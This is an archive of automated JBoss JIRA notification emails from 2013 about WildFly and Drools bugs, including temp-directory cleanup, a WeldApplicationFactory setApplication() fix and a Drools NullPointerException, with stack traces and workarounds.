From jira-events at lists.jboss.org  Tue Sep 17 08:37:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 08:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1908) patching doesn't clean temp
 folder after patch applying
In-Reply-To: <JIRA.12498991.1377000852000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498991.1377000852000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498991.1377000852000.30301.1379421424354@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1908?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805068#comment-12805068 ] 

RH Bugzilla Integration commented on WFLY-1908:
-----------------------------------------------

Martin Simka <msimka at redhat.com> made a comment on [bug 1008978|https://bugzilla.redhat.com/show_bug.cgi?id=1008978]

This is fixed in ER1, just cloning the issue for reference.
                
> patching doesn't clean temp folder after patch applying
> -------------------------------------------------------
>
>                 Key: WFLY-1908
>                 URL: https://issues.jboss.org/browse/WFLY-1908
>             Project: WildFly
>          Issue Type: Bug
>          Components: Patching
>            Reporter: Martin Simka
>            Assignee: Martin Simka
>            Priority: Trivial
>              Labels: patching
>             Fix For: 8.0.0.Beta1
>
>
> empty folders jboss-as-patch-# are left in /tmp/ after patch applying

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 08:37:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 08:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1908) patching doesn't clean temp
 folder after patch applying
In-Reply-To: <JIRA.12498991.1377000852000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498991.1377000852000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498991.1377000852000.30305.1379421424502@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1908?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805069#comment-12805069 ] 

RH Bugzilla Integration commented on WFLY-1908:
-----------------------------------------------

Martin Simka <msimka at redhat.com> changed the Status of [bug 1008978|https://bugzilla.redhat.com/show_bug.cgi?id=1008978] from NEW to VERIFIED
                
> patching doesn't clean temp folder after patch applying
> -------------------------------------------------------
>
>                 Key: WFLY-1908
>                 URL: https://issues.jboss.org/browse/WFLY-1908
>             Project: WildFly
>          Issue Type: Bug
>          Components: Patching
>            Reporter: Martin Simka
>            Assignee: Martin Simka
>            Priority: Trivial
>              Labels: patching
>             Fix For: 8.0.0.Beta1
>
>
> empty folders jboss-as-patch-# are left in /tmp/ after patch applying

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 09:05:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 09:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.30415.1379423103698@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1547:
------------------------------------------

    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1004383, https://bugzilla.redhat.com/show_bug.cgi?id=901210  (was: https://bugzilla.redhat.com/show_bug.cgi?id=1004383)

    
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 09:16:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 09:16:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2096) WeldApplicationFactory
 doesn't implement setApplication() correctly
In-Reply-To: <JIRA.12500836.1379414469000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500836.1379414469000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500836.1379414469000.30450.1379423765347@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2096?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2096:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1008998

    
> WeldApplicationFactory doesn't implement setApplication() correctly
> -------------------------------------------------------------------
>
>                 Key: WFLY-2096
>                 URL: https://issues.jboss.org/browse/WFLY-2096
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld, JSF
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Martin Kouba
>            Assignee: Stuart Douglas
>
> The problem is described in WELD-913. The fix was only applied to Weld servlet support [1] and not AS7/WildFly8 integration code (most probably because the target environment of the issue was Tomcat).
> [1]
> https://github.com/weld/core/blob/master/environments/servlet/core/src/main/java/org/jboss/weld/environment/servlet/jsf/WeldApplicationFactory.java

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 09:16:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 09:16:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2096) WeldApplicationFactory
 doesn't implement setApplication() correctly
In-Reply-To: <JIRA.12500836.1379414469000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500836.1379414469000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500836.1379414469000.30455.1379423765804@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2096?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805087#comment-12805087 ] 

RH Bugzilla Integration commented on WFLY-2096:
-----------------------------------------------

Tomas Repel <trepel at redhat.com> made a comment on [bug 1008998|https://bugzilla.redhat.com/show_bug.cgi?id=1008998]

Description of problem:

The problem is described in https://issues.jboss.org/browse/WELD-913. The fix was only applied to Weld servlet support [1] and not AS7/WildFly8/EAP6 integration code (most probably because the target environment of the issue was Tomcat).

There is also related discussion at https://community.jboss.org/thread/232605. This issue prevents Spring WebFlow/JSF applications with file WEB-INF/beans.xml to work correctly on EAP 6.1.0.GA.

The possible fix of the issue is to add setApplication() method to org.jboss.as.weld.webtier.jsf.WeldApplicationFactory class:

    @Override
    public void setApplication(Application application) {
        synchronized (this) {
            this.application = null;
            super.setApplication(application);
        }
    }

[1]
https://github.com/weld/core/blob/master/environments/servlet/core/src/main/java/org/jboss/weld/environment/servlet/jsf/WeldApplicationFactory.java

Version-Release number of selected component (if applicable):

EAP 6.1.0.GA

How reproducible:

Always

Steps to Reproduce:
1. deploy attached war on EAP 6.1.0.GA
2. try to log in and book a hotel

Actual results:

13:08:58,805 ERROR [org.apache.catalina.core.ContainerBase.[jboss.web].[default-host].[/spring-booking-faces].[Spring MVC Dispatcher Servlet]] (http-localhost/127.0.0.1:8080-5) JBWEB000236: Servlet.service() for servlet Spring MVC Dispatcher Servlet threw exception: java.io.FileNotFoundException
	at org.apache.naming.resources.DirContextURLConnection.getInputStream(DirContextURLConnection.java:369) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at com.sun.faces.util.Util.getLastModified(Util.java:903) [jsf-impl-2.1.19-redhat-1.jar:2.1.19-redhat-1]
	at com.sun.faces.facelets.impl.DefaultFaceletCache$2.newInstance(DefaultFaceletCache.java:89) [jsf-impl-2.1.19-redhat-1.jar:2.1.19-redhat-1]
	at com.sun.faces.facelets.impl.DefaultFaceletCache$2.newInstance(DefaultFaceletCache.java:85) [jsf-impl-2.1.19-redhat-1.jar:2.1.19-redhat-1]
	at com.sun.faces.util.ExpiringConcurrentCache$1.call(ExpiringConcurrentCache.java:99) [jsf-impl-2.1.19-redhat-1.jar:2.1.19-redhat-1]
	at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334) [rt.jar:1.7.0_07]
	at java.util.concurrent.FutureTask.run(FutureTask.java:166) [rt.jar:1.7.0_07]
	at com.sun.faces.util.ExpiringConcurrentCache.get(ExpiringConcurrentCache.java:114) [jsf-impl-2.1.19-redhat-1.jar:2.1.19-redhat-1]
	at com.sun.faces.facelets.impl.DefaultFaceletCache.getViewMetadataFacelet(DefaultFaceletCache.java:139) [jsf-impl-2.1.19-redhat-1.jar:2.1.19-redhat-1]
	at com.sun.faces.facelets.impl.DefaultFaceletCache.getViewMetadataFacelet(DefaultFaceletCache.java:58) [jsf-impl-2.1.19-redhat-1.jar:2.1.19-redhat-1]
	at com.sun.faces.facelets.impl.DefaultFaceletFactory.getMetadataFacelet(DefaultFaceletFactory.java:274) [jsf-impl-2.1.19-redhat-1.jar:2.1.19-redhat-1]
	at com.sun.faces.facelets.impl.DefaultFaceletFactory.getMetadataFacelet(DefaultFaceletFactory.java:208) [jsf-impl-2.1.19-redhat-1.jar:2.1.19-redhat-1]
	at com.sun.faces.application.view.ViewMetadataImpl.createMetadataView(ViewMetadataImpl.java:113) [jsf-impl-2.1.19-redhat-1.jar:2.1.19-redhat-1]
	at com.sun.faces.application.view.FaceletViewHandlingStrategy.restoreView(FaceletViewHandlingStrategy.java:540) [jsf-impl-2.1.19-redhat-1.jar:2.1.19-redhat-1]
	at com.sun.faces.application.view.MultiViewHandler.restoreView(MultiViewHandler.java:141) [jsf-impl-2.1.19-redhat-1.jar:2.1.19-redhat-1]
	at javax.faces.application.ViewHandlerWrapper.restoreView(ViewHandlerWrapper.java:301) [jboss-jsf-api_2.1_spec-2.1.19.1.Final-redhat-1.jar:2.1.19.1.Final-redhat-1]
	at javax.faces.application.ViewHandlerWrapper.restoreView(ViewHandlerWrapper.java:301) [jboss-jsf-api_2.1_spec-2.1.19.1.Final-redhat-1.jar:2.1.19.1.Final-redhat-1]
	at org.springframework.faces.webflow.JsfViewFactory.getView(JsfViewFactory.java:105) [spring-faces-2.3.2.RELEASE.jar:2.3.2.RELEASE]
	at org.springframework.webflow.engine.ViewState.resume(ViewState.java:193) [spring-webflow-2.3.2.RELEASE.jar:2.3.2.RELEASE]
	at org.springframework.webflow.engine.Flow.resume(Flow.java:545) [spring-webflow-2.3.2.RELEASE.jar:2.3.2.RELEASE]
	at org.springframework.webflow.engine.impl.FlowExecutionImpl.resume(FlowExecutionImpl.java:258) [spring-webflow-2.3.2.RELEASE.jar:2.3.2.RELEASE]
	at org.springframework.webflow.executor.FlowExecutorImpl.resumeExecution(FlowExecutorImpl.java:169) [spring-webflow-2.3.2.RELEASE.jar:2.3.2.RELEASE]
	at org.springframework.webflow.mvc.servlet.FlowHandlerAdapter.handle(FlowHandlerAdapter.java:183) [spring-webflow-2.3.2.RELEASE.jar:2.3.2.RELEASE]
	at org.springframework.faces.webflow.JsfFlowHandlerAdapter.handle(JsfFlowHandlerAdapter.java:48) [spring-faces-2.3.2.RELEASE.jar:2.3.2.RELEASE]
	at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:925) [spring-webmvc-3.2.3.RELEASE.jar:3.2.3.RELEASE]
	at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:856) [spring-webmvc-3.2.3.RELEASE.jar:3.2.3.RELEASE]
	at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:936) [spring-webmvc-3.2.3.RELEASE.jar:3.2.3.RELEASE]
	at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:827) [spring-webmvc-3.2.3.RELEASE.jar:3.2.3.RELEASE]
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:734) [jboss-servlet-api_3.0_spec-1.0.2.Final-redhat-1.jar:1.0.2.Final-redhat-1]
	at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:812) [spring-webmvc-3.2.3.RELEASE.jar:3.2.3.RELEASE]
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:847) [jboss-servlet-api_3.0_spec-1.0.2.Final-redhat-1.jar:1.0.2.Final-redhat-1]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:295) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:214) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:330) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:118) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:84) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:113) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:103) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:113) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter(SecurityContextHolderAwareRequestFilter.java:54) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:45) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.authentication.www.BasicAuthenticationFilter.doFilter(BasicAuthenticationFilter.java:150) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:183) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:105) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:87) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:192) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:160) [spring-security-web-3.1.4.RELEASE.jar:3.1.4.RELEASE]
	at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:346) [spring-web-3.2.3.RELEASE.jar:3.2.3.RELEASE]
	at org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:259) [spring-web-3.2.3.RELEASE.jar:3.2.3.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:246) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:214) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:88) [spring-web-3.2.3.RELEASE.jar:3.2.3.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) [spring-web-3.2.3.RELEASE.jar:3.2.3.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:246) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:214) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:230) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:149) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at org.jboss.as.jpa.interceptor.WebNonTxEmCloserValve.invoke(WebNonTxEmCloserValve.java:50) [jboss-as-jpa-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
	at org.jboss.as.jpa.interceptor.WebNonTxEmCloserValve.invoke(WebNonTxEmCloserValve.java:50) [jboss-as-jpa-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
	at org.jboss.as.web.security.SecurityContextAssociationValve.invoke(SecurityContextAssociationValve.java:169) [jboss-as-web-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:145) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:97) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:102) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:336) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:856) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:653) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:920) [jbossweb-7.2.0.Final-redhat-1.jar:7.2.0.Final-redhat-1]
	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_07]

Expected results:

The booking completes without errors.
                
> WeldApplicationFactory doesn't implement setApplication() correctly
> -------------------------------------------------------------------
>
>                 Key: WFLY-2096
>                 URL: https://issues.jboss.org/browse/WFLY-2096
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld, JSF
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Martin Kouba
>            Assignee: Stuart Douglas
>
> The problem is described in WELD-913. The fix was only applied to Weld servlet support [1] and not AS7/WildFly8 integration code (most probably because the target environment of the issue was Tomcat).
> [1]
> https://github.com/weld/core/blob/master/environments/servlet/core/src/main/java/org/jboss/weld/environment/servlet/jsf/WeldApplicationFactory.java

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 09:20:03 2013
From: jira-events at lists.jboss.org (Nedo Nedic (JIRA))
Date: Tue, 17 Sep 2013 09:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-202) RuntimeDroolsException
	appears randomly
In-Reply-To: <JIRA.12497233.1374662825000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497233.1374662825000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497233.1374662825000.30472.1379424003520@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-202?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Nedo Nedic updated DROOLS-202:
------------------------------

    Workaround Description: Change dialect from mvel to java.

    
> RuntimeDroolsException appears randomly
> ---------------------------------------
>
>                 Key: DROOLS-202
>                 URL: https://issues.jboss.org/browse/DROOLS-202
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: JBoos 5.4
> Linux Ubuntu
> JDK 1.6
>            Reporter: Nedo Nedic
>            Assignee: Mark Proctor
>              Labels: Drools
>
> From time to time I see that the following exception is thrown when inserting facts into working memory. Full stack trace:
> org.drools.RuntimeDroolsException: Unexpected exception executing action org.drools.rule.SlidingTimeWindow$BehaviorExpireWMAction at 5f86946e
> 	at org.drools.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:979)
> 	at org.drools.common.NamedEntryPoint.insert(NamedEntryPoint.java:322)
> 	at org.drools.common.NamedEntryPoint.insert(NamedEntryPoint.java:298)
> 	at org.drools.common.AbstractWorkingMemory.insert(AbstractWorkingMemory.java:888)
> 	at org.drools.common.AbstractWorkingMemory.insert(AbstractWorkingMemory.java:847)
> 	at org.drools.impl.StatefulKnowledgeSessionImpl.insert(StatefulKnowledgeSessionImpl.java:269)
> 	at com.comp.impl.AbstractCorrelator.insertFact(AbstractCorrelator.java:297)
> 	at com.comp.impl.TemporalCorrelatorServiceImpl.insertFact(TemporalCorrelatorServiceImpl.java:72)
> 	at com.comp.impl.AbstractCorrelator.processMessage(AbstractCorrelator.java:467)
> 	at com.comp.jms.JmsMessageListenerImpl.onMessage(JmsMessageListenerImpl.java:75)
> 	at org.apache.activemq.ActiveMQMessageConsumer.dispatch(ActiveMQMessageConsumer.java:1088)
> 	at org.apache.activemq.ActiveMQSessionExecutor.dispatch(ActiveMQSessionExecutor.java:127)
> 	at org.apache.activemq.ActiveMQSessionExecutor.iterate(ActiveMQSessionExecutor.java:197)
> 	at org.apache.activemq.thread.PooledTaskRunner.runTask(PooledTaskRunner.java:122)
> 	at org.apache.activemq.thread.PooledTaskRunner$1.run(PooledTaskRunner.java:43)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
> 	at java.lang.Thread.run(Thread.java:619)
> Caused by: java.lang.NullPointerException
> 	at org.drools.core.util.RightTupleIndexHashTable.remove(RightTupleIndexHashTable.java:372)
> 	at org.drools.reteoo.AccumulateNode.retractRightTuple(AccumulateNode.java:318)
> 	at org.drools.rule.SlidingTimeWindow.expireFacts(SlidingTimeWindow.java:185)
> 	at org.drools.rule.SlidingTimeWindow$BehaviorExpireWMAction.execute(SlidingTimeWindow.java:479)
> 	at org.drools.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:977)
> 	... 17 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 09:20:03 2013
From: jira-events at lists.jboss.org (Nedo Nedic (JIRA))
Date: Tue, 17 Sep 2013 09:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-202) RuntimeDroolsException
	appears randomly
In-Reply-To: <JIRA.12497233.1374662825000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497233.1374662825000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497233.1374662825000.30474.1379424003608@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-202?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Nedo Nedic updated DROOLS-202:
------------------------------

    Workaround Description: Change rule's dialect from mvel to java.  (was: Change dialect from mvel to java.)

    
> RuntimeDroolsException appears randomly
> ---------------------------------------
>
>                 Key: DROOLS-202
>                 URL: https://issues.jboss.org/browse/DROOLS-202
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: JBoos 5.4
> Linux Ubuntu
> JDK 1.6
>            Reporter: Nedo Nedic
>            Assignee: Mark Proctor
>              Labels: Drools
>
> From time to time I see that the following exception is thrown when inserting facts into working memory. Full stack trace:
> org.drools.RuntimeDroolsException: Unexpected exception executing action org.drools.rule.SlidingTimeWindow$BehaviorExpireWMAction at 5f86946e
> 	at org.drools.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:979)
> 	at org.drools.common.NamedEntryPoint.insert(NamedEntryPoint.java:322)
> 	at org.drools.common.NamedEntryPoint.insert(NamedEntryPoint.java:298)
> 	at org.drools.common.AbstractWorkingMemory.insert(AbstractWorkingMemory.java:888)
> 	at org.drools.common.AbstractWorkingMemory.insert(AbstractWorkingMemory.java:847)
> 	at org.drools.impl.StatefulKnowledgeSessionImpl.insert(StatefulKnowledgeSessionImpl.java:269)
> 	at com.comp.impl.AbstractCorrelator.insertFact(AbstractCorrelator.java:297)
> 	at com.comp.impl.TemporalCorrelatorServiceImpl.insertFact(TemporalCorrelatorServiceImpl.java:72)
> 	at com.comp.impl.AbstractCorrelator.processMessage(AbstractCorrelator.java:467)
> 	at com.comp.jms.JmsMessageListenerImpl.onMessage(JmsMessageListenerImpl.java:75)
> 	at org.apache.activemq.ActiveMQMessageConsumer.dispatch(ActiveMQMessageConsumer.java:1088)
> 	at org.apache.activemq.ActiveMQSessionExecutor.dispatch(ActiveMQSessionExecutor.java:127)
> 	at org.apache.activemq.ActiveMQSessionExecutor.iterate(ActiveMQSessionExecutor.java:197)
> 	at org.apache.activemq.thread.PooledTaskRunner.runTask(PooledTaskRunner.java:122)
> 	at org.apache.activemq.thread.PooledTaskRunner$1.run(PooledTaskRunner.java:43)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
> 	at java.lang.Thread.run(Thread.java:619)
> Caused by: java.lang.NullPointerException
> 	at org.drools.core.util.RightTupleIndexHashTable.remove(RightTupleIndexHashTable.java:372)
> 	at org.drools.reteoo.AccumulateNode.retractRightTuple(AccumulateNode.java:318)
> 	at org.drools.rule.SlidingTimeWindow.expireFacts(SlidingTimeWindow.java:185)
> 	at org.drools.rule.SlidingTimeWindow$BehaviorExpireWMAction.execute(SlidingTimeWindow.java:479)
